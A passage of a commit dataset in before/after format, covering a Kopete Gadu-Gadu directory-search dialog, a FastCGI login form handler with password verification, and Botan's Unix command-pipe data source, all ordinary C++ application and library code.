);\n\tconnect( mMainWidget->nick,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->UIN,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->cityS,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->gender,\t\tSIGNAL( activated( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->ageFrom,\tSIGNAL( valueChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->ageTo,\t\tSIGNAL( valueChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->radioByData,\tSIGNAL( toggled( bool ) ), SLOT( inputChanged( bool ) ) );\n}\n\nvoid \nGaduPublicDir::inputChanged( bool )\n{\n\tinputChanged( QString::null );\n}\n\nvoid \nGaduPublicDir::inputChanged( const QString& )\n{\n\tif ( validateData() == false ) {\n\t\tenableButton( User2, false );\n\t}\n\telse {\n\t\tenableButton( User2, true );\n\t}\n}\n\nvoid \nGaduPublicDir::getData()\n{\n\tfName\t= mMainWidget->nameS->text();\n\tfSurname\t= mMainWidget->surname->text();\n\tfNick\t\t= mMainWidget->nick->text();\n\tfUin\t\t= mMainWidget->UIN->text().toInt();\n\tfGender\t= mMainWidget->gender->currentItem();\n\tfOnlyOnline= mMainWidget->onlyOnline->isChecked();\n\tfAgeFrom\t= mMainWidget->ageFrom->value();\n\tfAgeTo\t= mMainWidget->ageTo->value();\n\tfCity\t\t= mMainWidget->cityS->text();\n}\n\n\/\/ return true if not empty\n#define CHECK_STRING(A) { if ( !A.isEmpty() ) { return true; } }\n#define CHECK_INT(A) { if ( A ) { return true; } }\n\nbool \nGaduPublicDir::validateData()\n{\n\tgetData();\n \n\tif ( mMainWidget->radioByData->isChecked() ) {\n\t\tCHECK_STRING( fCity );\n\t\tCHECK_STRING( fName );\n\t\tCHECK_STRING( fSurname );\n\t\tCHECK_STRING( fNick );\n\t\tCHECK_INT( fGender );\n\t\tCHECK_INT( fAgeFrom );\n\t\tCHECK_INT( fAgeTo );\n\t}\n\telse {\n\t\tCHECK_INT( fUin );\n\t}\n\treturn false;\n}\n\n\/\/ Move to GaduProtocol someday\nQPixmap \nGaduPublicDir::iconForStatus( uint status )\n{\n\tQPixmap n;\n\n\tif ( GaduProtocol::protocol() ) {\n\t\treturn GaduProtocol::protocol()->convertStatus( status ).protocolIcon();\n\t}\n\treturn n;\n}\n\nvoid \nGaduPublicDir::slotSearchResult( const SearchResult& result )\n{\n\tQListView* list = mMainWidget->listFound;\n\tint i;\n\n\tkdDebug(14100) << \"searchResults(\" << result.count() <<\")\" << endl;\n\n\t\/\/ if not found anything, obviously we don't want to search for more\n\t\/\/ if we are looking just for one UIN, don't allow search more - it is pointless\n\n\tif ( result.count() && fUin==0 ) {\n\t\tenableButton( User2, true );\n\t}\n\n\tenableButton( User1, true );\n\n\tQListViewItem* sl;\n\n\tSearchResult::const_iterator r;\n\n\tfor ( r = result.begin(); r != result.end() ; ++r ){\n\t\tkdDebug(14100) << \"adding\" << (*r).uin << endl;\n\t\tsl= new QListViewItem(\n\t\t\t\t\tlist, QString::fromAscii(\"\"),\n\t\t\t\t\t(*r).firstname.latin1(),\n\t\t\t\t\t(*r).nickname.latin1(),\n\t\t\t\t\t(*r).age.latin1(),\n\t\t\t\t\t(*r).city.latin1(),\n\t\t\t\t\t(*r).uin.latin1()\n\t\t\t\t\t\t);\n\t\tsl->setPixmap( 0, iconForStatus( (*r).status ) );\n\t}\n}\n\nvoid \nGaduPublicDir::slotNewSearch()\n{\n\tmMainWidget->pubsearch->raiseWidget( 0 );\n\n\tsetButtonText( User2, i18n( \"S&earch\" ) );\n\n\tshowButton( User1, false );\n\tshowButton( User3, false );\n\tenableButton( User2, false );\n \tinputChanged( QString::null );\n \tmAccount->pubDirSearchClose();\n}\n\nvoid \nGaduPublicDir::slotSearch()\n{\n\n\tmMainWidget->listFound->clear();\n\tQString empty;\n\n\t\/\/ search more, or search ?\n\tif ( mMainWidget->pubsearch->id( mMainWidget->pubsearch->visibleWidget() ) == 0 ) {\n\t\tkdDebug(14100) << \"start search... \" << endl;\n\t\tgetData();\n\n\t\t\/\/ validate data\n\t\tif ( validateData() == false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ go on\n\t\tmMainWidget->pubsearch->raiseWidget( 1 );\n\n\t}\n\telse{\n\t\tkdDebug(14100) << \"search more... \" << endl;\n\t\t\/\/ Search for more\n\t}\n\n\tsetButtonText( User2, i18n( \"Search &More...\" ) );\n\tshowButton( User3, true );\n\tshowButton( User1, true );\n\tenableButton( User3, false );\n\tenableButton( User2, false );\n\n\tif ( mMainWidget->radioByData->isChecked() ) {\n\t\tmAccount->pubDirSearch( fName, fSurname, fNick,\n\t\t\t\t\t\t\t\t0, fCity, fGender, fAgeFrom, fAgeTo, fOnlyOnline );\n\t}\n\telse {\n\t\tmAccount->pubDirSearch( empty, empty, empty,\n\t\t\t\t\t\t\t\tfUin, empty, 0, 0, 0, fOnlyOnline );\n\t}\n}\n\n#include \"gadupubdir.moc\"\n<commit_msg>This was a pointless change, could only fsck encoding<commit_after>\/\/\n\/\/ Copyright (C) 2003\t Grzegorz Jaskiewicz <gj at pointblue.com.pl>\n\/\/\n\/\/ gadupubdir.cpp\n\/\/ Gadu-Gadu Public directory contains people data, using it you can search friends\n\/\/ different criteria\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License\n\/\/ as published by the Free Software Foundation; either version 2\n\/\/ of the License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n\/\/ 02111-1307, USA.\n\/\/\n\n#include \"gadupubdir.h\"\n\n#include <qpushbutton.h>\n#include <qtextedit.h>\n#include <qwidgetstack.h>\n#include <qlistview.h>\n#include <qptrlist.h>\n#include <qradiobutton.h>\n\n#include <kapplication.h>\n#include <kdatewidget.h>\n#include <klineedit.h>\n#include <klocale.h>\n#include <kurllabel.h>\n#include <klistview.h>\n\n\nGaduPublicDir::GaduPublicDir( GaduAccount* account, QWidget* parent, const char* name )\n: KDialogBase( parent, name, false, QString::null, User1|User2|User3|Cancel, User2 )\n{\n\tmAccount = account;\n\tcreateWidget();\n\tinitConnections();\n\n\tshow();\n}\n\nGaduPublicDir::GaduPublicDir( GaduAccount* account, int searchFor, QWidget* parent, const char* name )\n: KDialogBase( parent, name, false, QString::null, User1|User2|User3|Cancel, User2 )\n{\n\tmAccount = account;\n\tcreateWidget();\n\tinitConnections();\n\n\tkdDebug( 14100 ) << \"search for Uin: \" << searchFor << endl;\n\t\n\tmMainWidget->listFound->clear();\n\tshow();\n\n\tmMainWidget->pubsearch->raiseWidget( 1 );\n\tmMainWidget->radioByUin->setChecked( true );\n\n\tsetButtonText( User2, i18n( \"Search &More...\" ) );\n\tshowButton( User3, true );\n\tshowButton( User1, true );\n\tenableButton( User3, false );\n\tenableButton( User2, false );\n\n\t\/\/ now it is time to switch to Right Page(tm)\n\tfName\t= fSurname = fNick = fCity = QString::null;\n\tfUin\t\t= searchFor;\n\tfOnlyOnline= false;\n\tfGender\t= fAgeFrom = fAgeTo = 0;\n\n\tmAccount->pubDirSearch( fName, fSurname, fNick,\n\t\t\t\tfUin, fCity, fGender, fAgeFrom, fAgeTo, fOnlyOnline );\n\n}\n\nvoid \nGaduPublicDir::createWidget()\n{\n\tsetCaption( i18n( \"Gadu-Gadu Public Directory\" ) );\n\n\tmMainWidget = new GaduPublicDirectory( this );\n\tsetMainWidget( mMainWidget );\n\n\tmMainWidget->UIN->setValidChars( \"1234567890\" );\n\n\tsetButtonText( User1, i18n( \"&New Search\" ) );\n\tsetButtonText( User2, i18n( \"S&earch\" ) );\n\tsetButtonText( User3, i18n( \"&Add User...\" ) );\n\tsetButtonText( Cancel, i18n( \"&Close\" ) );\n\n\tshowButton( User1, false );\n\tshowButton( User3, false );\n\tenableButton( User2, false );\n\t\n\tmMainWidget->radioByData->setChecked( true );\n\n\tmAccount->pubDirSearchClose();\n\n}\n\nvoid \nGaduPublicDir::initConnections()\n{\n\tconnect( this, SIGNAL( user2Clicked() ), SLOT( slotSearch() ) );\n\tconnect( this, SIGNAL( user1Clicked() ), SLOT( slotNewSearch() ) );\n\n\tconnect( mAccount, SIGNAL( pubDirSearchResult( const SearchResult& ) ),\n\t\t\t\tSLOT( slotSearchResult( const SearchResult& ) ) );\n\n\tconnect( mMainWidget->nameS,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->surname,\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->nick,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->UIN,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->cityS,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->gender,\t\tSIGNAL( activated( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->ageFrom,\tSIGNAL( valueChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->ageTo,\t\tSIGNAL( valueChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->radioByData,\tSIGNAL( toggled( bool ) ), SLOT( inputChanged( bool ) ) );\n}\n\nvoid \nGaduPublicDir::inputChanged( bool )\n{\n\tinputChanged( QString::null );\n}\n\nvoid \nGaduPublicDir::inputChanged( const QString& )\n{\n\tif ( validateData() == false ) {\n\t\tenableButton( User2, false );\n\t}\n\telse {\n\t\tenableButton( User2, true );\n\t}\n}\n\nvoid \nGaduPublicDir::getData()\n{\n\tfName\t= mMainWidget->nameS->text();\n\tfSurname\t= mMainWidget->surname->text();\n\tfNick\t\t= mMainWidget->nick->text();\n\tfUin\t\t= mMainWidget->UIN->text().toInt();\n\tfGender\t= mMainWidget->gender->currentItem();\n\tfOnlyOnline= mMainWidget->onlyOnline->isChecked();\n\tfAgeFrom\t= mMainWidget->ageFrom->value();\n\tfAgeTo\t= mMainWidget->ageTo->value();\n\tfCity\t\t= mMainWidget->cityS->text();\n}\n\n\/\/ return true if not empty\n#define CHECK_STRING(A) { if ( !A.isEmpty() ) { return true; } }\n#define CHECK_INT(A) { if ( A ) { return true; } }\n\nbool \nGaduPublicDir::validateData()\n{\n\tgetData();\n \n\tif ( mMainWidget->radioByData->isChecked() ) {\n\t\tCHECK_STRING( fCity );\n\t\tCHECK_STRING( fName );\n\t\tCHECK_STRING( fSurname );\n\t\tCHECK_STRING( fNick );\n\t\tCHECK_INT( fGender );\n\t\tCHECK_INT( fAgeFrom );\n\t\tCHECK_INT( fAgeTo );\n\t}\n\telse {\n\t\tCHECK_INT( fUin );\n\t}\n\treturn false;\n}\n\n\/\/ Move to GaduProtocol someday\nQPixmap \nGaduPublicDir::iconForStatus( uint status )\n{\n\tQPixmap n;\n\n\tif ( GaduProtocol::protocol() ) {\n\t\treturn GaduProtocol::protocol()->convertStatus( status ).protocolIcon();\n\t}\n\treturn n;\n}\n\nvoid \nGaduPublicDir::slotSearchResult( const SearchResult& result )\n{\n\tQListView* list = mMainWidget->listFound;\n\tint i;\n\n\tkdDebug(14100) << \"searchResults(\" << result.count() <<\")\" << endl;\n\n\t\/\/ if not found anything, obviously we don't want to search for more\n\t\/\/ if we are looking just for one UIN, don't allow search more - it is pointless\n\n\tif ( result.count() && fUin==0 ) {\n\t\tenableButton( User2, true );\n\t}\n\n\tenableButton( User1, true );\n\n\tQListViewItem* sl;\n\n\tSearchResult::const_iterator r;\n\n\tfor ( r = result.begin(); r != result.end() ; ++r ){\n\t\tkdDebug(14100) << \"adding\" << (*r).uin << endl;\n\t\tsl= new QListViewItem(\n\t\t\t\t\tlist, QString::fromAscii(\"\"),\n\t\t\t\t\t(*r).firstname,\n\t\t\t\t\t(*r).nickname,\n\t\t\t\t\t(*r).age,\n\t\t\t\t\t(*r).city,\n\t\t\t\t\t(*r).uin\n\t\t\t\t\t\t);\n\t\tsl->setPixmap( 0, iconForStatus( (*r).status ) );\n\t}\n}\n\nvoid \nGaduPublicDir::slotNewSearch()\n{\n\tmMainWidget->pubsearch->raiseWidget( 0 );\n\n\tsetButtonText( User2, i18n( \"S&earch\" ) );\n\n\tshowButton( User1, false );\n\tshowButton( User3, false );\n\tenableButton( User2, false );\n \tinputChanged( QString::null );\n \tmAccount->pubDirSearchClose();\n}\n\nvoid \nGaduPublicDir::slotSearch()\n{\n\n\tmMainWidget->listFound->clear();\n\tQString empty;\n\n\t\/\/ search more, or search ?\n\tif ( mMainWidget->pubsearch->id( mMainWidget->pubsearch->visibleWidget() ) == 0 ) {\n\t\tkdDebug(14100) << \"start search... \" << endl;\n\t\tgetData();\n\n\t\t\/\/ validate data\n\t\tif ( validateData() == false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ go on\n\t\tmMainWidget->pubsearch->raiseWidget( 1 );\n\n\t}\n\telse{\n\t\tkdDebug(14100) << \"search more... \" << endl;\n\t\t\/\/ Search for more\n\t}\n\n\tsetButtonText( User2, i18n( \"Search &More...\" ) );\n\tshowButton( User3, true );\n\tshowButton( User1, true );\n\tenableButton( User3, false );\n\tenableButton( User2, false );\n\n\tif ( mMainWidget->radioByData->isChecked() ) {\n\t\tmAccount->pubDirSearch( fName, fSurname, fNick,\n\t\t\t\t\t\t\t\t0, fCity, fGender, fAgeFrom, fAgeTo, fOnlyOnline );\n\t}\n\telse {\n\t\tmAccount->pubDirSearch( empty, empty, empty,\n\t\t\t\t\t\t\t\tfUin, empty, 0, 0, 0, fOnlyOnline );\n\t}\n}\n\n#include \"gadupubdir.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2013 Aggregate\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include \"pch.h\"\n#include \"handlers.h\"\n\nnamespace FastCGI { namespace app { namespace reader {\n\n\tclass LoginPageHandler: public PageHandler\n\t{\n\tpublic:\n\n\t\tstd::string name() const\n\t\t{\n\t\t\treturn \"Login\";\n\t\t}\n\n\tprotected:\n\t\tvirtual bool restrictedPage() { return false; }\n\t\tconst char* getPageTitle(PageTranslation& tr) { return tr(lng::LNG_LOGIN_TITLE); }\n\t\tvoid render(SessionPtr session, Request& request, PageTranslation& tr)\n\t\t{\n\t\t\tfcgi::param_t QUERY_STRING = request.getParam(\"QUERY_STRING\");\n\t\t\tif (!QUERY_STRING || !*QUERY_STRING)\n\t\t\t{\n\t\t\t\trequest << \n\t\t\t\t\t\"łotewah\";\n\t\t\t\trequest.die();\n\t\t\t}\n\t\t\trequest << \"<h1>Reading...<\/h1>\";\n\t\t\trequest << \"<p>Done<\/p>\";\n\t\t}\n\n\t};\n}}} \/\/ FastCGI::app::reader\n\nREGISTER_HANDLER(\"\/auth\/login\", FastCGI::app::reader::LoginPageHandler);\n<commit_msg>Login form<commit_after>\/*\n * Copyright (C) 2013 Aggregate\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include \"pch.h\"\n#include \"handlers.h\"\n#include \"forms.h\"\n#include \"crypt.hpp\"\n\nnamespace FastCGI { namespace app { namespace reader {\n\n\tclass AuthPageHandler: public PageHandler\n\t{\n\tprotected:\n\t\tvoid onAuthFinished(Request& request)\n\t\t{\n\t\t\tparam_t _continue = request.getVariable(\"continue\");\n\t\t\tif (_continue != nullptr)\n\t\t\t\trequest.redirectUrl(_continue);\n\t\t\trequest.redirect(\"\/\");\n\t\t}\n\t\tvirtual bool restrictedPage() { return false; }\n\t};\n\n\tclass Message: public Control\n\t{\n\tpublic:\n\t\tMessage(const std::string& name, const std::string&, const std::string& hint)\n\t\t\t: Control(name, std::string(), hint)\n\t\t{\n\t\t}\n\t\tvirtual void getControlString(Request& request)\n\t\t{\n\t\t\tif (!m_value.empty())\n\t\t\t\trequest << \"<td><\/td><td><span class='message'>\" << m_value << \"<\/span><\/td>\";\n\t\t}\n\t\tvoid bindUI() {}\n\t};\n\ttypedef std::tr1::shared_ptr<Message> MessagePtr;\n\n\tstruct UserInfo\n\t{\n\t\tlong long m_id;\n\t\tstd::string m_name;\n\t\tstd::string m_email;\n\t\tstd::string m_hash;\n\t\tstatic UserInfo fromDB(db::ConnectionPtr db, const char* email)\n\t\t{\n\t\t\tUserInfo out;\n\n\t\t\tdb::StatementPtr query = db->prepare(\n\t\t\t\t\"SELECT _id, name, passphrase \"\n\t\t\t\t\"FROM user \"\n\t\t\t\t\"WHERE email=?\"\n\t\t\t\t);\n\n\t\t\tif (query.get() && query->bind(0, email))\n\t\t\t{\n\t\t\t\tdb::CursorPtr c = query->query();\n\t\t\t\tif (c.get() && c->next())\n\t\t\t\t{\n\t\t\t\t\tout.m_id = c->getLongLong(0);\n\t\t\t\t\tout.m_name = c->getText(1);\n\t\t\t\t\tout.m_email = email;\n\t\t\t\t\tout.m_hash = c->getText(2);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn out;\n\t\t}\n\n\t\tbool passwordValid(const char* pass)\n\t\t{\n\t\t\treturn crypt::verify(pass, m_hash.c_str());\n\t\t}\n\t};\n\n\tclass LoginPageHandler: public AuthPageHandler\n\t{\n\tpublic:\n\n\t\tstd::string name() const\n\t\t{\n\t\t\treturn \"Login\";\n\t\t}\n\n\tprotected:\n\t\tvirtual bool restrictedPage() { return false; }\n\n\t\tvoid prerender(SessionPtr session, Request& request, PageTranslation& tr)\n\t\t{\n\t\t\tif (request.getVariable(\"reset\") != nullptr)\n\t\t\t\trequest.redirect(\"\/auth\/reset\");\n\n\t\t\tFormPtr content(new (std::nothrow) Form(tr(lng::LNG_LOGIN_TITLE)));\n\t\t\trequest.setContent(content);\n\n\t\t\tcontent->hidden(\"continue\");\n\n\t\t\tcontent->submit(\"submit\", tr(lng::LNG_NAV_SIGNIN));\n\t\t\tcontent->submit(\"reset\", tr(lng::LNG_LOGIN_FORGOT));\n\n\t\t\tSection& section = content->section(std::string());\n\t\t\tauto message = section.control<Message>(\"message\");\n\t\t\tauto email = section.text(\"email\", tr(lng::LNG_LOGIN_USERNAME), false, tr(lng::LNG_LOGIN_USERNAME_HINT));\n\t\t\tauto password = section.text(\"password\", tr(lng::LNG_LOGIN_PASSWORD), true);\n\t\t\tauto cookie = section.checkbox(\"long_cookie\", tr(lng::LNG_LOGIN_STAY));\n\n\t\t\tcontent->bind(request);\n\n\t\t\tbool set_cookie = cookie->isChecked();\n\n\t\t\tif (email->hasUserData() || password->hasUserData())\n\t\t\t{\n\t\t\t\tif (!email->hasUserData() || !password->hasUserData())\n\t\t\t\t\tcontent->setError(tr(lng::LNG_LOGIN_ERROR_ONE_MISSING));\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tUserInfo info = UserInfo::fromDB(request.dbConn(), email->getData().c_str());\n\t\t\t\t\tif (!info.passwordValid(password->getData().c_str()))\n\t\t\t\t\t\tcontent->setError(tr(lng::LNG_LOGIN_ERROR_MISMATCHED)); \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tSessionPtr session = request.startSession(set_cookie, email->getData().c_str());\n\t\t\t\t\t\tif (session.get())\n\t\t\t\t\t\t\tonAuthFinished(request);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\trequest.on500();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (request.getVariable(\"posted\") != nullptr)\n\t\t\t{\n\t\t\t\tcontent->setError(tr(lng::LNG_LOGIN_ERROR_ONE_MISSING));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tStrings data;\n\t\t\t\tif (session.get())\n\t\t\t\t\tdata[\"email\"] = session->getEmail();\n\t\t\t\tdata[\"message\"] = tr(lng::LNG_LOGIN_UI_STALE); \n\t\t\t\tmessage->bind(request, data);\n\t\t\t\temail->bind(request, data);\n\t\t\t}\n\t\t}\n\t};\n}}} \/\/ FastCGI::app::reader\n\nREGISTER_HANDLER(\"\/auth\/login\", FastCGI::app::reader::LoginPageHandler);\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Unix Command Execution\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/internal\/unix_cmd.h>\n#include <botan\/parsing.h>\n#include <botan\/exceptn.h>\n\n#include <sys\/time.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n\nnamespace Botan {\n\nnamespace {\n\n\/**\n* Attempt to execute the command\n*\/\nvoid do_exec(const std::vector<std::string>& arg_list,\n const std::vector<std::string>& paths)\n {\n const u32bit args = arg_list.size() - 1;\n\n const char* arg1 = (args >= 1) ? arg_list[1].c_str() : 0;\n const char* arg2 = (args >= 2) ? arg_list[2].c_str() : 0;\n const char* arg3 = (args >= 3) ? arg_list[3].c_str() : 0;\n const char* arg4 = (args >= 4) ? arg_list[4].c_str() : 0;\n\n for(u32bit j = 0; j != paths.size(); j++)\n {\n const std::string full_path = paths[j] + \"\/\" + arg_list[0];\n const char* fsname = full_path.c_str();\n ::execl(fsname, fsname, arg1, arg2, arg3, arg4, NULL);\n }\n }\n\n}\n\n\/**\n* Local information about the pipe\n*\/\nstruct pipe_wrapper\n {\n int fd;\n pid_t pid;\n pipe_wrapper() { fd = -1; pid = 0; }\n };\n\n\/**\n* Read from the pipe\n*\/\nu32bit DataSource_Command::read(byte buf[], u32bit length)\n {\n if(end_of_data())\n return 0;\n\n fd_set set;\n FD_ZERO(&set);\n FD_SET(pipe->fd, &set);\n\n struct ::timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = MAX_BLOCK_USECS;\n\n ssize_t got = 0;\n if(::select(pipe->fd + 1, &set, 0, 0, &tv) == 1)\n {\n if(FD_ISSET(pipe->fd, &set))\n got = ::read(pipe->fd, buf, length);\n }\n\n if(got <= 0)\n {\n shutdown_pipe();\n return 0;\n }\n\n return static_cast<u32bit>(got);\n }\n\n\/**\n* Peek at the pipe contents\n*\/\nu32bit DataSource_Command::peek(byte[], u32bit, u32bit) const\n {\n if(end_of_data())\n throw Invalid_State(\"DataSource_Command: Cannot peek when out of data\");\n throw Stream_IO_Error(\"Cannot peek\/seek on a command pipe\");\n }\n\n\/**\n* Check if we reached EOF\n*\/\nbool DataSource_Command::end_of_data() const\n {\n return (pipe) ? false : true;\n }\n\n\/**\n* Return the Unix file descriptor of the pipe\n*\/\nint DataSource_Command::fd() const\n {\n if(!pipe)\n return -1;\n return pipe->fd;\n }\n\n\/**\n* Return a human-readable ID for this stream\n*\/\nstd::string DataSource_Command::id() const\n {\n return \"Unix command: \" + arg_list[0];\n }\n\n\/**\n* Create the pipe\n*\/\nvoid DataSource_Command::create_pipe(const std::vector<std::string>& paths)\n {\n bool found_something = false;\n for(u32bit j = 0; j != paths.size(); j++)\n {\n const std::string full_path = paths[j] + \"\/\" + arg_list[0];\n if(::access(full_path.c_str(), X_OK) == 0)\n {\n found_something = true;\n break;\n }\n }\n if(!found_something)\n return;\n\n int pipe_fd[2];\n if(::pipe(pipe_fd) != 0)\n return;\n\n pid_t pid = ::fork();\n\n if(pid == -1)\n {\n ::close(pipe_fd[0]);\n ::close(pipe_fd[1]);\n }\n else if(pid > 0)\n {\n pipe = new pipe_wrapper;\n pipe->fd = pipe_fd[0];\n pipe->pid = pid;\n ::close(pipe_fd[1]);\n }\n else\n {\n if(dup2(pipe_fd[1], STDOUT_FILENO) == -1)\n ::exit(127);\n if(close(pipe_fd[0]) != 0 || close(pipe_fd[1]) != 0)\n ::exit(127);\n if(close(STDERR_FILENO) != 0)\n ::exit(127);\n\n do_exec(arg_list, paths);\n ::exit(127);\n }\n }\n\n\/**\n* Shutdown the pipe\n*\/\nvoid DataSource_Command::shutdown_pipe()\n {\n if(pipe)\n {\n pid_t reaped = waitpid(pipe->pid, 0, WNOHANG);\n\n if(reaped == 0)\n {\n kill(pipe->pid, SIGTERM);\n\n struct ::timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = KILL_WAIT;\n select(0, 0, 0, 0, &tv);\n\n reaped = ::waitpid(pipe->pid, 0, WNOHANG);\n\n if(reaped == 0)\n {\n ::kill(pipe->pid, SIGKILL);\n do\n reaped = ::waitpid(pipe->pid, 0, 0);\n while(reaped == -1);\n }\n }\n\n ::close(pipe->fd);\n delete pipe;\n pipe = 0;\n }\n }\n\n\/**\n* DataSource_Command Constructor\n*\/\nDataSource_Command::DataSource_Command(const std::string& prog_and_args,\n const std::vector<std::string>& paths) :\n MAX_BLOCK_USECS(100000), KILL_WAIT(10000)\n {\n arg_list = split_on(prog_and_args, ' ');\n\n if(arg_list.size() == 0)\n throw Invalid_Argument(\"DataSource_Command: No command given\");\n if(arg_list.size() > 5)\n throw Invalid_Argument(\"DataSource_Command: Too many args\");\n\n pipe = 0;\n create_pipe(paths);\n }\n\n\/**\n* DataSource_Command Destructor\n*\/\nDataSource_Command::~DataSource_Command()\n {\n if(!end_of_data())\n shutdown_pipe();\n }\n\n}\n<commit_msg>Add constructor and destructor for pipe_wrapper to handle init and close<commit_after>\/*\n* Unix Command Execution\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/internal\/unix_cmd.h>\n#include <botan\/parsing.h>\n#include <botan\/exceptn.h>\n\n#include <sys\/time.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n\nnamespace Botan {\n\nnamespace {\n\n\/**\n* Attempt to execute the command\n*\/\nvoid do_exec(const std::vector<std::string>& arg_list,\n const std::vector<std::string>& paths)\n {\n const u32bit args = arg_list.size() - 1;\n\n const char* arg1 = (args >= 1) ? arg_list[1].c_str() : 0;\n const char* arg2 = (args >= 2) ? arg_list[2].c_str() : 0;\n const char* arg3 = (args >= 3) ? arg_list[3].c_str() : 0;\n const char* arg4 = (args >= 4) ? arg_list[4].c_str() : 0;\n\n for(u32bit j = 0; j != paths.size(); j++)\n {\n const std::string full_path = paths[j] + \"\/\" + arg_list[0];\n const char* fsname = full_path.c_str();\n\n ::execl(fsname, fsname, arg1, arg2, arg3, arg4, NULL);\n }\n }\n\n}\n\n\/**\n* Local information about the pipe\n*\/\nstruct pipe_wrapper\n {\n int fd;\n pid_t pid;\n\n pipe_wrapper(int f, pid_t p) : fd(f), pid(p) {}\n ~pipe_wrapper() { ::close(fd); }\n };\n\n\/**\n* Read from the pipe\n*\/\nu32bit DataSource_Command::read(byte buf[], u32bit length)\n {\n if(end_of_data())\n return 0;\n\n fd_set set;\n FD_ZERO(&set);\n FD_SET(pipe->fd, &set);\n\n struct ::timeval tv;\n tv.tv_sec = 0;\n tv.tv_usec = MAX_BLOCK_USECS;\n\n ssize_t got = 0;\n if(::select(pipe->fd + 1, &set, 0, 0, &tv) == 1)\n {\n if(FD_ISSET(pipe->fd, &set))\n got = ::read(pipe->fd, buf, length);\n }\n\n if(got <= 0)\n {\n shutdown_pipe();\n return 